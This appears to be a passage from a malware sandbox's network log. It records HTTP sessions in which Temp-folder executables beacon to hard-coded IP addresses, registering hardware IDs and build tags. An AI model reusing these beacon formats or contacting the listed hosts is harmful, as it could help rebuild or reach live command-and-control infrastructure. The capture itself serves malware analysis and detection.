Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.6	49799	185.215.113.16	80	4876	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:18.170958996 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:37:18.933268070 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:37:18.985836029 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:37:19.240313053 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.6	49802	185.215.113.19	80	7716	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:19.674561977 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:37:20.342804909 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:37:20.345499039 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 10:37:20.692888975 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.6	49803	185.215.113.16	80	4876	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:19.679017067 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:37:20.337596893 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:37:20.341670036 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:37:20.602978945 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.6	49808	185.215.113.16	80	4876	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:20.810899973 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:37:21.611759901 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:37:21.620203018 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:37:21.915503979 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 26, 2024 10:40:56.727632999 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:40:57.510185003 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:40:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.6	49809	185.215.113.19	80	7716	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:21.238439083 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:37:21.842734098 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:37:21.875972986 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 10:37:22.151187897 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 26, 2024 10:40:56.975423098 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 10:40:57.769615889 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:40:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.6	49811	185.215.113.16	80	4876	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:22.124094009 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:37:22.901415110 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:37:22.910392046 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:37:23.157052040 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.6	49812	185.215.113.19	80	7716	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:22.297272921 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:37:23.135299921 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:37:23.195812941 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 10:37:23.448342085 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.6	49813	34.107.221.82	80	3132	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:22.574851990 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jul 26, 2024 10:37:23.092207909 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 25 Jul 2024 09:24:28 GMT Age: 83575 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Jul 26, 2024 10:37:31.264671087 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jul 26, 2024 10:37:31.373292923 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 25 Jul 2024 09:24:28 GMT Age: 83583 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Jul 26, 2024 10:37:41.503042936 CEST	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.6	49814	85.28.47.31	80	1336	C:\Users\user\AppData\Local\Temp\1000002001\7ca32398cd.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:22.662333012 CEST	86	OUT	GET / HTTP/1.1 Host: 85.28.47.31 Connection: Keep-Alive Cache-Control: no-cache
Jul 26, 2024 10:37:23.279736996 CEST	203	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 08:37:23 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 26, 2024 10:37:23.940921068 CEST	409	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAAFCAFCBKFHJJJKKFHI Host: 85.28.47.31 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 36 41 43 44 37 44 43 45 35 32 33 31 38 31 37 37 30 34 35 37 31 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 69 6c 61 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 49 2d 2d 0d 0a Data Ascii: ------BAAFCAFCBKFHJJJKKFHIContent-Disposition: form-data; name="hwid"F6ACD7DCE5231817704571------BAAFCAFCBKFHJJJKKFHIContent-Disposition: form-data; name="build"sila------BAAFCAFCBKFHJJJKKFHI--
Jul 26, 2024 10:37:24.123445988 CEST	210	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 08:37:24 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.6	49820	185.215.113.19	80	7716	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:24.024955034 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:37:24.772294044 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:37:24.775111914 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 10:37:25.043735027 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 26, 2024 10:41:02.104404926 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 10:41:02.892401934 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:41:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.6	49821	185.215.113.16	80	4876	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:24.025185108 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:37:24.815846920 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
